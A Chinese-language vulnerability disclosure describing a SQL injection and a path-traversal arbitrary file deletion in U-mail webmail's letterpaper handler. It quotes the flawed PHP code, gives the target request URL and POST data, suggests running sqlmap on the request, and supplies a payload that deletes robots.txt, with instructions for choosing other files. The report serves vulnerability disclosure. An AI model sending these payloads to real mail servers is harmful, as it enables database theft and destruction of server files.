### 简要描述:
U-mail一处SQL注入+任意文件删除
### 详细说明:
o_letterpaper.php
1.sql注入:
```
if ( ACTION == "letterpaper-set" )
{
$url = make_link( "option", "view", "letterpaper" );
$lp_id = gss( $_POST['id'] );
....
if ( $lp_id )
{
$lp_info = $Widget->getone_letterpaper( "id=".$lp_id, "*", 0 );
```
没啥好分析的,直接上exp
http://mail.domain.com/webmail/client/option/index.php?module=operate&action=letterpaper-set
POSTdata:id=1
丢sqlmap即可跑出数据:
[<img src="https://images.seebug.org/upload/201409/15002527e70b8b8b48174c8979d75588abb90dc1.png" alt="QQ20140915-1@2x.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/15002527e70b8b8b48174c8979d75588abb90dc1.png)
### 漏洞证明:
2.任意文件删除
o_letterpaper.php
```
if ( $res )
{
if ( gss( $_POST['bgImgPath'] ) )
{
$imgname = $lp_id.".".fileext( $_POST['bgImgPath'] );
if ( file_exists( ROOT."client/resource/images/letterpaper/".$imgname ) )
{
unlink( ROOT."client/resource/images/letterpaper/".$imgname );
}
```
$res是恒存在的,所以直接看下面POST提交的bdImgPath变量,拼接imgname变量的2部分均完全可控,然后简单判断是否存在该文件,存在即删除,由此漏洞产生。
payload:
http://mail.domain.com/webmail/client/option/index.php?module=operate&action=letterpaper-set
POSTDATA:id=../../../../../robots&bgImgPath=.txt
以上payload删除的是robots.txt文件,若想删除别的文件,直接在id处构造文件名,在bdimgpath处构造后缀即可。
暂无评论